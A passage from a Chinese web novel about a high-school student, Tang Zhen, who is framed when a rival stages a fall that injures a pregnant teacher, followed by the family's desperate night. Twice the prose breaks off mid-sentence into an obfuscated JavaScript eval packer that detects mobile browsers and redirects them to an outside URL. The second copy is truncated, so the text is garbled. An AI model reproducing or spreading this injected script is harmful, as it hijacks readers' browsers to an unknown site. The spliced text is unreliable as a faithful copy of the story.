教导主任脸已经涨红,伸出手指,几乎要戳到汤振的鼻尖上,“于浩磊!你又在做什么?每次做事都想一出是一出,是公然违反学校的纪律还是寻衅滋事?” 汤振后退半步,避开教导主任的手指,“我没有违反学校的纪律,更没有寻衅滋事。” 汤振的声音在空旷的楼层里显得清晰而锐利:“我刚才在广播里说的每一句话,都有实打实的证据,不信的话,随时可以去查。” “你——”教导主任大喘着气,没有再说下去。 校长眼神有些闪烁,上下打量了汤振几秒,带着几分威严挥了挥手,“行了,查什么查,赶紧回教室去!” 汤振眼神反倒有些失望,一脸无所谓地耸了耸肩,“回就回。” 说完,汤振便走下了楼,其余人则紧跟在他身后。 一路走回教室的画面,忽然显得有些别扭。 汤振走在最中间,左手边是紧张得皱眉的于浩宁,右手边是脸色铁青的教导主任,身后是紧紧跟来的两名保安,队伍的最后方则是一脸严肃的校长。 在食堂吃完饭的学生,很大一部分已经折返回了教学楼。 各个楼层的走廊上或楼梯的栏杆旁,都密密麻麻地挤满了人。 当汤振一行人出现在林荫大道上的那一刻,原本喧闹的走廊就像是被人突然按下了静音键。 周围的人群自觉地向着两侧退让,让出了一条足有两米宽的通道,没人敢大声说话。 汤振目视前方,朝教学楼走去。 两旁站着的学生们,目光如聚光灯一般黏在汤振一行人身上,有人惊恐地看着教导主任和校长,也有人带着难以置信的目光看着汤振,还有人面带微笑暗中给汤振一个握拳的鼓舞手势。 细微的议论声如同涟漪一般,在走廊两侧荡漾开来。 汤振目不斜视,平静地踏上了楼梯,一路走到了三楼。 平稳地踩上最后一级台阶,汤振熟练地转过身,准备拐向高一3班教室。 忽然,教导主任猛地停住了脚步。 其余人也被迫在楼梯间拐角处停了下来。 汤振缓缓抬起头,目光越过前方的光影。 就在距离他们不到十米远的走廊中间,一个孤零零的身影,挡在了前往高一3班的路上—— 是伍泓。 伍泓胸口平稳地起伏着,双手握拳,两臂僵硬地垂在身体左右,目光紧紧盯住从楼梯间上来的汤振。 晚霞最后一丝余晖没入地平线,天空如泼墨一般笼罩着校园。 走廊上,昏黄的灯光亮起,一束光影将汤振和伍泓隔开。 两人就这样,注视着彼此。 “于浩磊,”伍泓先开口,逼问道:“空口白牙,无凭无据,就敢用学校的广播寻衅滋事,你胆子真的是越来越大了!” 汤振连一丝停顿也无,立刻回道:“刚才我在广播里说的话,你难道没有认真听吗?” 汤振抬起头,直接迎上了伍泓的目光,怒道:“你要的证据,不就明明白白攥在你自己手上么?” “呵,”伍泓嗤之以鼻地笑道:“光凭字迹相似的照片和十天内的字迹变化,你就想在全校面前诬陷别人作弊?搞不好你自己会先被学校开除呢。” “是吗,”汤振眼神如同锋利的刀刃,“看来你还要人证,是吗?” 伴随着话音落下,高一3班的前门发出“吱呀”一声轻响。 沈言峰身穿一件有些褪色的校服,从教室里平静地走了出来。 伍泓的目光骤然一震,睁大了眼瞪着沈言峰,似要将他生吞活剥。 汤振咽了一口唾沫,也看向了沈言峰,他仍不确定沈言峰是否有勇气按照之前所说的做。 沈言峰连看都没往右边看一眼,径直越过了伍泓僵硬的身体,走到了楼梯口,迎着刚刚赶过来的校长和教导主任,低下头道: “校长,主任,”沈言峰的声音传入在场所有人的耳内:“我证明,于浩磊刚才在广播里说的,全都是真的。” 此话一出,走廊上的空气彻底凝聚下来,附近教室一些看热闹的同学,也纷纷走出了教室。 “叮铃铃——” 晚自习的铃声刺耳地回荡在走廊上。 教导主任的表情似乎已经完全冷静了下来,她紧紧盯着沈言峰,沉声问道:“沈言峰,你可想清楚了,于浩磊说的,真的是事实吗?” “是,”沈言峰抬起头,坦然迎上教导主任的目光,继续道:“关于作弊的方法,我上学期已经承认过了,主要就是偷出试卷,然后提前填好答题卡,再在考试后替换答题卡。” 教导主任眉头微蹙,“你平时的成绩这么好,为什么也要走这种歪门邪道?” 沈言峰的声音里透着压抑与悔意:“我也不想的……都是因为我初三的时候,实在缺钱,一时鬼迷心窍,才加入了他们的作弊团伙。后来等我意识到不对劲时,我就想退出,但伍泓威胁我,他说,想退出,就必须交五千的补偿费。” 教导主任脸色瞬间铁青,厉声质问道:“所以你上学期就去偷孟晓芸的手机?” “是,偷了手机好歹能拿去卖钱,”沈言峰点了点头,随后指向一旁脸色难堪的伍泓,道:“包括偷孟晓芸手机也是伍泓出的主意,艺术大赛复赛的训练期间,孟晓芸偷偷带了手机去帮江悦拍照,伍泓盯上了那部最新款的手机,就让我去偷。” 汤振适时地插话道:“校长,主任,如果你们还需要其他证据,我也会配合学校收集。” 沈言峰深吸一口气,继续道:“还有刚才广播里说的,伍泓上学期找人霸凌于浩磊、于浩宁和丁航,这些事情,都是真的,我也能想办法找到证人。” 教导主任目光朝走廊上的伍泓一扫,说道:“暂时不必,既然你和于浩磊都说到了物证,那么你们说的字迹对比证据,究竟在哪?” 沈言峰依言答道:“伍泓总不可能把自己所有的书和资料都扔了吧?所以现在咱们亲自去一趟高三2班,把伍泓的字迹拿出来做个对比,就都清楚了。” 校长和教导主任对视了一眼,两人的脸色都已经沉到了谷底。 于浩宁在一旁大气不敢喘地盯着汤振,汤振却有些心虚地回避了于浩宁的目光。 教导主任思索片刻,深呼吸一口气,厉声道:“走,去高三2班!” 校长瞪了伍泓一眼,随后带着那两名保安,跟在教导主任身后,朝着高三的楼层快步走了过去。 随着校长一行人的身影渐渐远去,走廊这头便只剩下了汤振几人,以及一些在走廊上看热闹的同学。 此时,伍泓忽然压着声音吼道:“沈言峰!” 伍泓像一头发疯的野兽一般,猛烈地冲到楼梯口,一把揪住了沈言峰的衣领,将他重重按在墙角。 “你竟然敢和于浩磊串通好了来诬陷我?”伍泓双眼血红地咆哮道。 沈言峰因脖子被勒住,脸色瞬间胀红,“是不是诬陷,等校长他们回来就知道了!” 伍泓绷着脸冷笑,声音从咬紧的牙关里幽幽钻出:“我堂堂年级第一,校长和教导主任不会单凭你们的一面之词和相似的字迹就相信我会去做那些事情。你和于浩磊就等着吧,看咱们谁输谁赢。” 看着伍泓和沈言峰剑拔弩张的样子,汤振眼神一沉,迅速冲了上前。 汤振一把抓住伍泓的手腕,向外一拉,将伍泓的手从沈言峰的衣领上扯开。 “伍泓!校长和教导主任刚离开不久,你动手干什么,”汤振脖子上的青筋凸起,大声呵斥道:“你快放开沈言峰!” “关你什么事,”伍泓一把甩开汤振的手,胸口剧烈起伏着。 伍泓头发也变得凌乱,疯魔般指向汤振,声音沙哑道:“都是你!于浩磊!自从你上学期回学校,校园里就一直风波不断!” 汤振没有再争辩下去,而是望向走廊另一头,冲着校长一行人的背影大喊道: “校长,教导主任,这里有人打架!!!” 走廊远处,校长和教导主任听到这声刺耳的吼叫,立刻停下了脚步,又转身朝汤振几人赶了回来。 此时的楼梯口处,伍泓早已如同失去理智一般,和汤振你推我攘,试图越过汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594907|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 振的手臂去抓沈言峰。 汤振咬着牙,用身体挡在沈言峰前面,双手用力钳制着伍泓的胳膊,两人在楼梯边缘拉扯着。 忽然,楼梯下方的拐角处,传来了一阵沉重缓慢的脚步声。 只见汤振的班主任,挺着八个月的孕肚,一手扶腰,一手抓着楼梯栏杆,喘着大气,朝上面走来。 仰头看到楼梯口推搡的两人时,班主任脸色瞬间变了,大喊道: “汤振,伍泓,你们在干什么?!” 班主任脸上的冷汗淌过眉毛往下滴,她颤颤巍巍迈开步子,想要继续走上来。 就在这一秒。 伍泓的动作突然停住,他朝走廊那头望了一眼,又看了看楼梯下方—— 走廊那头,校长一行人正朝这边赶过来。 楼梯下方,汤振的班主任正艰难迈着脚步。 这一瞬间,伍泓眼中闪过一丝阴冷,令人毛骨悚然。 紧接着,在汤振还来不及反应的惊骇目光中,伍泓一把抓住了汤振的双手。 伍泓把汤振的手用力一拉,朝自己胸口上狠狠撞去。 只听“啪”的一声,在其余人看来,就像是汤振双手朝伍泓胸口推了一把。 随后,伍泓双脚离地,整个人瞬间失去了重心。 身体悬空的一刹那,伍泓憋红了脸,朝汤振怒吼道: “于浩磊!你为什么推我?” 就这样,伍泓背朝着陡峭的楼梯,仰面倒了下去。 汤振双眼瞬间充满了恐慌,他伸出手,想要捉住向后倒下的伍泓,但指尖只碰到了他翻飞的校服衣角。 “不!”汤振吼道。 伍泓失去控制的身体朝楼梯下倒去。 班主任刚好踏上几级台阶,面对从天而降的身影,一个孕妇,哪有时间躲避? 沉闷的撞击声,震耳欲聋。 伍泓的身体,结结实实地撞在了班主任身上! “啊——” 班主任发出一声凄厉而痛苦的惨叫,身体瞬间失去平衡,倒在冰冷的台阶上,在地上滚过一圈,蜷缩在了楼梯转角处。 汤振惊骇得无以复加,张大了嘴,却发不出任何声音。 所有学生的目光,皆看向了楼梯间—— 刺眼的鲜红,从班主任身下汩汩流出。 血液像是无数条毒蛇,在楼梯间的水泥地面上蔓延开。 空气中,顿时弥漫着血腥的气息。 校长和教导主任刚好赶了过来,身后还跟着两名保安。 几个站在楼梯口的学生,脸色骤然变得惨白,连连喊道: “血……血!” “主任,那地上有血!” 几名好奇的同学也忍不住从教室出来,在看到那滩不断扩大的血迹时,吓得崩溃大哭。 惊恐的尖叫,一声接一声炸响。 于浩宁迅速冲到汤振身前,“哥!怎么办?” 汤振的目光似是被钉在了楼梯间,一时没有回过神来。 于浩宁看了看下方的惨状,红着双眼,朝教导主任吼道:“主任,打急救电话,地上好多血!” 楼梯的转角处,班主任的冷汗打湿了惨白如纸的脸庞,她紧紧捂着肚子,在血泊中低声叫喊。 倒在地上的伍泓艰难撑起身子,痛苦地望向楼上的汤振,一边痛得吸气,一边指责道: “都,都是你干的好事!咝……于浩磊,你为什么推我?” 汤振独自一人站在最高处的台阶上,他深邃冷静的眼里,布满了前所未有的惊恐。 鲜血的气息、伍泓的指责、周围一声接一声的惊呼,让汤振脑袋嗡嗡作响,只感到一片空白。 在周围人的注视下,汤振竟忘了开口辩白。 这一切发生得太快。 教导主任连忙双手颤抖地摸出手机,拨打了急救电话。 所有人的目光,都集中在教导主任耳边的手机上。 挂断电话,教导主任连着喘了几口气,她充血的双眼直勾勾盯着倒在地上的伍泓,又看向僵立在楼梯顶端的汤振,怒吼道: “于浩磊,伍泓!你们两个,你们,你们,就等着被学校开除吧!” 旁边,看见这一切的孟晓芸发出一声崩溃的惊叫。 江悦果断地冲上前,一把捂住孟晓芸的眼睛,“别看。” 说完,便扶着孟晓芸,将她拉回了教室里。 于浩宁大惊失色,这才反应过来,朝教导主任乞求道:“主任,主任您别冲动!我哥不是故意的,一切都是因为伍泓,您手下留情,求您别开除我哥!” 教导主任胸口剧烈起伏着,根本不为所动。 眼看求情无望,于浩宁倏然转过头,一把揪住了汤振的左臂。 于浩宁声音里满是崩溃:“哥!你为什么要这样对自己?你为什么要这样对大家?你不是说你能掌握好分寸的吗?这就是你说的分寸吗!” 汤振这才回过神来。 他低下头,看向于浩宁通红的眼睛,嘴唇颤抖了两下,但一个字也没说出来。 “你说话啊,”于浩宁用力甩着汤振的手臂,“你到底在想什么?” 汤振的声音沙哑得像砂纸摩擦:“我,我有我的苦衷……总之,我现在不能跟你解释!” 于浩宁大为震惊,满脸不可思议,呆滞地松开了双手,“什么,你有苦衷?你到底有什么苦衷是说不出口的!” 汤振紧紧咬住后槽牙,脑海中满是养父那充满威慑的声音。 良久,汤振心里一横,决绝地转过脸去,不再理会于浩宁的眼神。 看向楼梯间,班主任,班主任还躺在那里! 汤振立刻冲下台阶,跨过伍泓的身子,跪在了那滩触目惊心的血液边缘。 “老师,”汤振紧紧抓住班主任的手,“老师,我真的没有推伍泓……” 班主任脸上全是冷汗,痛苦地点了点头。 汤振焦急地安慰道:“老师,您先不要乱动,平躺着就好。救护车马上到了,您先深呼吸,保持体力。” 班主任抿紧了毫无血色的嘴唇,“好,好……” 这时,一阵尖锐的救护车鸣笛声传来。 鸣笛声撕裂了校园的空气,由远及近地传入所有人耳内。 刺眼的闪光和凄厉的鸣笛,彻底打破了晚自习的宁静。 教学楼的各个楼层里,一圈圈走廊上逐渐围满了人,皆震惊地趴在走廊栏杆上,目光朝高一3班的方向看去。 救护车刹停在楼梯间下方。 几名护士急切地拿上担架,迅速冲进了楼梯间,一口气跑了上来,围在班主任身边。 “慢一点!小心!” 在医护人员的紧急处理下,班主任被平稳地抬上了担架。 校长和教导主任满脸焦急地跟在护士身后,两名保安疏散着围观的学生。 班主任仍紧紧握着汤振的手腕,指关节阵阵发白。 汤振亦没有挣脱,而是迅速跟上护士的步伐,朝楼下跑去,寸步不离地守在班主任的身边。 汤振低着头,不断在班主任耳边重复低语:“没事了,老师,没事了,马上就到医院。” 终于,担架被抬到楼下,护士们稳稳地将班主任推入救护车内。 汤振也没有任何犹豫,抬腿钻进了救护车的车厢。 此刻,一直跟在后面的教导主任也刚好到了楼下。 教导主任站在楼梯口,气喘吁吁地指着救护车里的汤振,吼道:“于浩磊,你就老老实实等着被开除吧!” 听到这句刺耳的吼声,救护车里的汤振身体顿了顿。 忽然,汤振从救护车里探出了身子,他眼里燃烧着凶悍的孤狼般的戾气,看向楼梯口的教导主任。 夜色中,汤振的怒吼响彻校园: “开除就开除!堂堂教导主任,是非不分,愚不可及,我不伺候了!你爱怎样就怎样!” 教学楼里,顿时涌起一阵又一阵议论和惊呼。 “砰”的一声,医护人员用力关上了门。 所有惊愕的目光,都被隔绝在了外面。 然而,就在关门的瞬间—— 汤振的余光清晰地看见,三楼另一边,申雅丽正远远站在那里。 申雅丽脸色苍白,惊恐地看向楼下,在她的手里,紧紧握着一部手机。 44.失控(中) 刺耳的鸣笛声响彻浥鸣县的夜空,救护车在老城区的街道上一路疾驰。 车顶红蓝相间的闪光,顺着车厢玻璃窗不断投射进来,映照在苍白的医疗设备上。 即使四周弥漫着浓重的消毒水味,也依然掩盖不住那股令人恐惧的血腥气息。 汤振蜷缩在担架旁的一张简易折叠座椅上,茫然又疲惫地看着担架上的班主任,“黎老师,您坚持住……我们马上就到医院了,马上就到了。” 汤振低下头,声音因为压抑和自责而微微发颤,除了一遍又一遍机械地重复几句干瘪的安慰以外,什么也做不了。 在这个狭小的空间里,两名随车的医护人员正紧张又熟练地忙碌着,医生全程盯着心电监护仪上跳动的各项体征数据。 就在救护车在十字路口向右转入香樟大道时,汤振出乎意料地抬起了头,目光顺着车厢后门狭窄的玻璃窗向外看去。 一排临街商铺的霓虹招牌,从窗外一闪而过。 “医生,护士,”汤振焦灼地看向正在调整输液滴速的护士,“不是去县妇幼医院吗,刚才在十字路口的时候怎么不直走?” 护士将输液管的滚轮推到精准的位置,才转过头解释道:“是这样的,同学,我们县急救中心的调度,不是单纯看哪家医院距离最近,遇到危急情况,调度中心还要精准匹配不同医院的急救条件和急诊室的空余床位。” 护士轻微地抬了抬下巴,看向前方驾驶室道:“县妇幼医院现在接诊不了,我们正在前往浥鸣县第二医院。” 看了看汤振紧绷的脸,护士又热心地补充道:“虽然二院距离二中远了一点,但也请同学放心,我们二院的妇产科和急救水平也是很好的,专家组现在已经在急诊通道准备了,不会耽误时间的。” 闻言,汤振的呼吸总算是恢复了正常节奏,缓缓点了点头,算是回应,“好的,谢谢,那我跟别人说一声……” 汤振下意识地顺着裤子口袋摸了下去——空的。 表情轻微僵了一下,汤振只觉得后背一阵发麻,这才反应过来手机还在书包里,即使是今天下午去广播室之前,也没有将手机从书包里拿出来。 而那个书包,现在还安安静静地躺在高一3班教室的课桌抽屉里。 更令汤振感到无助的是,自从把号码存在手机里以后,他就没想过要把号码记住,即使他自认为拥有过目不忘的本领,但因为两人平时很少给对方打电话或发短信,所以他自然也就没有留意过于浩宁的手机号。 班主任的手机里或许有全班同学家长的联系方式,但现在班主任这个样子,恐怕是没办法将手机解锁找许艺岚的电话号码了。 汤振无力地靠在冰冷的车厢内壁上,像被囚于一座孤岛,只能听着耳边凄厉的鸣笛声,在一片无助的焦急中越走越远。 晚上九点。 浥鸣二中的晚自习已结束很久,高一3班的教室里空荡荡的,只剩下头顶的一盏白炽灯还在散发着惨白的光。 整个校园里,除了高三年级以外,其他年级的学生均已放学离校或回到宿舍。 于浩宁独自一人坐在教室里,还没收拾书包,双眼无神地望着身旁汤振的座位发呆。 片刻后,于浩宁伸手从书包里摸出手机,按下了那个备注为“于浩磊”的号码。 听筒里传来了漫长的等待声。 忽然—— “嗡……嗡……” 一阵沉闷的手机振动声传来,在空旷的教室里回响。 于浩宁愣了一下,目光僵硬地向右下方移动,盯住了旁边汤振那个半敞开的书包。 那震动声,分明就是从汤振书包最深处的夹层里传出来的。 “啪——” 于浩宁猛地挂断了电话,汤振书包里的震动也同步停止。 暴躁地抓了一把头发,于浩宁脸色一沉,没有再管汤振的手机,便立刻将书包甩在肩上,冲出了教室,顺着楼梯和林荫大道一路狂奔出了校门。 一辆出租车停在于浩宁身前。 “师傅,去县妇幼医院门诊大楼,快!” 说完,于浩宁拉开车门便坐了进去。 路过一个又一个十字路口,等了一次又一次的红绿灯,出租车穿梭在宽窄不一的道路上,街道两旁的灯红酒绿像是另一个世界。 二十分钟后,出租车在妇幼医院门口留下两道刹车印。 医院大厅里,于浩宁穿过熙熙攘攘的人群,满头大汗地走向导诊台,嘴里仍喘着粗气。 “护士,您好,麻烦查一下,刚才有没有二中送来的孕妇?名叫黎烁,受伤出血,还有一个穿校服的男生陪同着。” 值班护士冷静地在电脑上敲击了几下,摇了摇头,“同学,我们这里半个小时内没有接收过名叫黎烁的受伤出血的孕妇,非常抱歉。” 于浩宁一脸痛苦地闭了闭眼,深呼吸了一口,“好的,谢谢您,那我再去其他医院找找看。” 没有任何犹豫,于浩宁转头又冲入了夜色中。 等了约十分钟,一辆灰绿相间的出租车终于驶向了妇幼医院。 于浩宁伸手拦下,“师傅,去浥鸣县第一医院,麻烦您快一点。” 随着车门“啪”地一声关上,夜色中的街景又从两边车窗外不断向后移去。 于浩宁右手不自觉地攥着校服衣角,目光在街道和红绿灯之间快速切换。 “师傅,麻烦您开快一点吧,谢谢了。” 师傅握紧方向盘,头也不回地说道:“小伙子,这大晚上的,恐怕不方便跑那么快,请你理解一下。” 于浩宁咽下一口唾沫,把头无力地靠在车窗玻璃上,“好吧,师傅,注意安全就行。” 二十分钟后,出租车停在了浥鸣一院门诊大楼前。 于浩宁一把推开车门,快步穿过满是消毒水味的走廊,找到平面图,来到三楼的妇产科,直奔导诊台而去。 然而,回答于浩宁的,依然是护士的摇头。 “对不起,同学,没有查到黎烁这个人,我们这里今晚也没有接待过受伤出血的孕妇……” 于浩宁摇了摇头,抬手在脖子上抓出几道痕迹,“好的,谢谢,麻烦你们了。” 夜风夹杂着一丝凉意,卷起地上的一些碎花,在空中飞舞。 于浩宁压了压被风吹起的校服下摆,又独自一人走回了路边。 深夜时分,交通堵塞已经渐渐缓解,一些大排档和夜市却渐渐热闹起来。 终于,逐渐空旷的主干道上又驶来一辆出租车,醒目的“空闲”提示灯照亮了于浩宁的双目。 于浩宁抬手拦下了今晚的第三辆出租车。 “师傅,去……去浥鸣城北医院。”于浩宁无力地说道。 浥鸣二院逐渐消失在后视镜里,两边的车窗外满是陌生的街景。 坐在车里,于浩宁问司机道:“师傅,请问除了妇幼医院和浥鸣一院以外,城北医院是不是离二中最近的了?” 师傅透过后视镜看了一眼于浩宁,随即点了点头,“是,你去探望病人么?” “是,”于浩宁答道:“不知道城北医院的妇产科怎么样?” “这我就不了解了,不好意思啊。”师傅为难地笑了一下。 车窗外的景色不断变换,出租车驶出了内环快速路。 此刻已是深夜十一点,于浩宁破碎的身影出现在了城北医院门外。 跟随医院的指示牌找到妇产科,于浩宁又问出了同样的问题:“您好……” 护士皱眉看了看电脑屏幕,回应道:“对不起,同学,名叫黎烁且具有以上特征的孕妇,我们今天确实没有接收过。” 于浩宁慢慢地转过身,连“谢谢”也忘了说,拖着沉重的脚步,朝大厅走去。 浥鸣县城北医院正门外,是一片空旷冷清的绿化区域。 周围几盏惨白的路灯,将于浩宁独自一人的身影拉得颀长。 于浩宁撑着疲惫的身体坐了下来,颓然地用手抚摸着粗糙的水泥地面。 抬头望向天空,浮云缓缓将月亮遮住,几颗星子闪烁着微弱的冷光。 待呼吸渐渐平静下来,于浩宁才颤抖着手,艰难地从口袋里摸出手机。 按下屏幕点亮键的一瞬间—— “叮铃。” 伴随着一声短促的电子提示音,屏幕上骤然弹出一个红色电池图标提示: [电量不足1%,即将自动关机] 还未等于浩宁按下按钮,屏幕上的光亮便无情地黯淡下去。 紧接着,手机屏幕彻底变成了冰冷的黑色,映照出于浩宁满是汗水的面孔。 “啪嗒”一声,手机从于浩宁无力的指尖滑落,掉在地上,发出一声沉闷的低响。 于浩宁呆坐在水泥台阶上,没有伸手去捡。 夜风吹来,于浩宁拉紧校服拉链,将手放在膝盖上,把脸深深埋进了臂弯里,他的肩膀轻微颤抖着,眼泪浸在校服衣袖上,留下一点一点的水渍。 于浩宁用力地咬着嘴唇,鼻腔里传出低低的抽泣声,眼泪顺着脸颊,一直滑落到下巴,凝聚在一起,又滴落到水泥地面上。 此时,已经是4月22日零点。 整个浥鸣县万籁俱静,偶有几辆汽车经过,发出低沉的引擎声。 客厅里。 茶几上放着那台熟悉的笔记本电脑,屏幕的蓝色荧光映照在许艺岚脸上。 她的双眼因熬夜而布满血丝,左手僵硬地举着手机,贴在耳边,不断道歉: “是,是,李总,实在对不起,这个数据确实是我核对疏忽了。我今晚一定连夜把报表重新赶出来,明早八点前发到您的邮箱。” 许艺岚的声音压得极低,透着一股卑微的讨好。 电话那头,劈头盖脸的训斥声在安静的深夜里显得格外刺耳——哪怕许艺岚根本没开免提。 “啪嗒。” 电话终于挂断。 许艺岚颓然地将手机放在一边,低下头,用手背抹去眼角的一抹湿润。 按了按太阳穴,许艺岚强打起了精神,准备继续敲击键盘,但就在她抬起头活动颈椎时,目光偶然扫过了墙上的挂钟。 12点15分。 许艺岚敲击键盘的手指突兀地悬停在半空,猛地转过头,看向玄关的方向。 门口的鞋架上空空荡荡,家里安静得落针可闻。 许艺岚不自觉地颤抖了一下,连忙调出于浩磊的号码,拨了过去。 “嘟——嘟——嘟——” 电话里传来漫长的等待音,汤振的手机在凌晨的空教室里一阵一阵振动。 一分钟后,电话自动挂断,冰冷的机械音传入许艺岚的耳内。 许艺岚眉头紧皱,下意识咬着嘴唇,立刻又拨打了于浩宁的电话。 “对不起,您拨打的电话已关机……” 许艺岚无力地将手机垂了下来,好像那双手已经不受控制,她眼神空洞地看向玄关的方向——仍然空无一人。 再转头看向挂钟,时间已是12点20分。 许艺岚几乎是要倒吸一口凉气,但旋即又抓起手机,翻出通讯录,手指颤抖着点开了教导主任的电话号码。 响了几十秒,电话才被接起。 “喂,请问是教导主任吗,”许艺岚强压着声音里的发颤,急切地问道:“我是高一3班于浩磊和于浩宁的妈妈,零点都过了,这俩孩子还没到家,请问您知道情况吗?” “您就是于浩磊的母亲吗,”教导主任原本困倦乏力的声音忽然变得焦灼愠怒:“您还不知情吗?于浩磊今天下午在学校里闯了祸,他和高三的师兄在楼梯间里发生冲突,导致怀孕八个月的黎老师从楼梯上摔了下去,满地都是血。” “什……什么?”许艺岚像是被一记沉重的闷棍砸中了后脑,整个人倏然从椅子上站了起来,因为起太快,甚至撞倒了身后的椅子。 许艺岚用嘶哑的声音继续问道:“那,那请问浩磊和浩宁现在人在哪里呢?” 电话那头,教导主任的语气逐渐放缓:“浩磊当时跟着一起上了救护车,应该是在医院。浩宁我确实不知情,可能是去找浩磊了。” 许艺岚认真地听着,眼泪却像即将决堤的水流。 教导主任继续说道:“但当时救护车是急救中心统一调度的,我得打电话问问具体是拉去哪个医院了。家长同志,您先不要出门乱跑,先试着联系一下浩磊和浩宁吧。” 许艺岚急切的声音夹杂着抽泣:“我联系不上,这才给您打电话。” 电话那头,教导主任的语气也变得急促:“这样吗?那我立刻想办法问一下黎老师到底在哪个医院,或许在那里能找到浩磊和浩宁。” 许艺岚狠狠点了点头,连忙道了谢。 电话匆匆挂断。 看了看外面的浓厚的夜色,许艺岚强忍着抽泣,擦了擦眼泪,望向正在做康复训练的于强。 忽然—— “哐当,哗啦”,一声响传来。 客厅的角落,玻璃破碎的声音,又让许艺岚的脸色紧绷起来。 惊恐地看过去,只见于强正满头大汗地抓着辅助训练的平行杆,他的一条腿因吃力地向前迈步,不小心踢在了一旁的木制储物架上。 架子上那些精致的照片接连摔了下来,玻璃相框重重砸在了地板上,玻璃渣如同水花,溅了一地。 于强似乎也被自己震惊,神色慌乱地看着地上的碎玻璃,像个做错事的孩子一样,想要弯腰去捡。 看着眼前的一切,许艺岚痛苦地用双手狠狠掐进自己的头发,嘶哑地吼道: “于强!你别乱动行不行!!!” 这撕心裂肺的声音,划破了寂静的夜色。 许艺岚的胸口剧烈地起伏着,眼泪如同决堤的洪水般疯狂涌出,她无力地顺着背后沙发的轮廓,一点一点,滑坐在了冰冷的地板上,双手紧紧捂住脸,抽泣的声音响彻客厅。 “为什么……到底为什么?” 许艺岚恸哭失声,每一声喘气都令人揪心。 发丝因冷汗而紧紧贴在她的太阳穴上,许艺岚眼里满是泪水,对着满屋的空气,声音嘶哑,一句一句道: “为什么……为什么我要理所应当地承受这一切?” “为什么失踪的是我的孩子?” “为什么出车祸的是我的丈夫?” “为什么不是我的错也要被领导像狗一样骂?” “为什么我的孩子在学校里闯祸,现在都还不知道人在哪里?” “为什么……” “为什么我要理所应当地要承受这一切?” “为什么我要理所应当地承受这一切!!!” 说完,许艺岚忍不住地干呕起来,随后又止不住地咳嗽。 于强的眼眶瞬间变得通红,他焦急地松开握着平行杆的双手,走向坐在地上的许艺岚。 然而,于强那双还未完全康复的双腿,在失去支撑的瞬间,再也无法承受他身体的重量。 只听见一声沉闷的低响,伴随着于强痛苦的喊叫,他重重地摔在了坚硬的地上,身体周围皆是如星光闪烁般的尖锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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电话那头,教导主任的声音里有了几分欣慰:“许艺岚,我问到了,黎老师在郊区的浥鸣二院。你直接去那里的妇产科问问看吧,如果没有消息,再告诉我。” 许艺岚左手颤抖着捂住嘴,喉咙里发出干涩的回应:“好,谢谢主任,谢谢主任,我马上就去。” 挂断电话,许艺岚果断地转身抓起餐桌上的车钥匙,迅速冲出了家门。 五分钟后。 一辆轿车从车库驶出,在浥鸣县里空旷的街道上疾驰,朝着二院的方向驶去。 车内没有开灯,许艺岚在一片幽暗里紧握着方向盘。 车外,一道道昏黄的路灯光影,正顺着挡风玻璃,快速在许艺岚泪痕未干的脸上交替掠过。 在安静的汽车里,在这个只属于她一个人的狭小空间里,许艺岚双手紧紧地握着方向盘,终于忍不住,从喉咙里发出一阵放肆的哭泣。 车载音乐夹杂着许艺岚的哭声,陪着她,朝未知的黑夜深处孤勇地驶了进去。 凌晨一点整。 浥鸣县第二医院的妇产科产房外,走廊安静得可怕。 门上的红色指示灯刺眼地亮着,映照在汤振的脸上。 汤振独自一人坐在产房外冰冷的不锈钢排椅上,校服上还沾着之前蹭到的血迹,此刻已干涸发暗,他颓然地坐在椅子上,目光呆滞地望着地面,像是失了灵魂的雕塑。 “嗒,嗒,嗒,嗒。” 一阵急促的脚步声响起。 那脚步声,从走廊尽头的电梯口方向,凌乱地传入汤振耳内。 脚步声在汤振面前停下,汤振木然地看向此刻站在自己面前的人。 只见一个穿着衬衫的男人正满头大汗地站在汤振身前,男人的眼眶通红,胸口剧烈地起伏,一双眼睛里燃烧着骇人的怒火。 汤振僵硬地移动着脖子,缓缓抬头看向面前的男人。 “啪——” 一记响亮的耳光,落在了汤振的左边脸颊上。 汤振瞳孔剧烈一抖,火辣辣的疼痛钻心袭来,这一记耳光,让他颅内传来一阵“嗡嗡”的响声。 “你就是于浩磊?” 那男人掌心微微发红,像是仍不解气一般,声音里满是愤怒的质问。 汤振迟钝地站了起来,木然抬起左手,捂住脸上的五指印,“是我。” “你这个畜生,”那男人指着汤振的鼻子,手指剧烈颤抖着,吼道:“我妻子平时对学生掏心掏肺,她明明可以请假,却怕你们不习惯新老师,怀孕八个月都要坚持给你们上课,你呢?你的心思到底有多歹毒,才会把别人推下楼梯,砸在我妻子身上?!” 汤振咽了一口带着血腥味的唾沫,吃力地张开嘴,道:“叔叔,不是我推的。” 看着男人那双绝望的眼睛,汤振的声音里也透着一股无力感:“不是我推的,是伍泓自己倒下去的,他想陷害我。” “你放屁!那样倒下去,只是专门为了陷害你吗?” 男人反问道,激动地冲上前,一把揪住汤振沾血的衣领,将他用力抵在墙上,威胁道: “我告诉你,于浩磊,如果今天晚上,我妻子和她肚子里的孩子有任何三长两短……你就等着吃官司吧,我一定会报警,让你这个杀人凶手付出代价!” 这粗暴的动静,让一旁的几个护士吓得立刻冲了过来。 “这位男士,请你松手,这里是医院!” 在护士们的阻止下,男人这才放开手。 汤振忍不住干咳起来,扶着走廊冰冷的瓷砖朝外面走去。 那男人所说的每一个字,此时此刻都回荡在汤振的脑海中: “我一定会报警!” “报警!” “报警……” 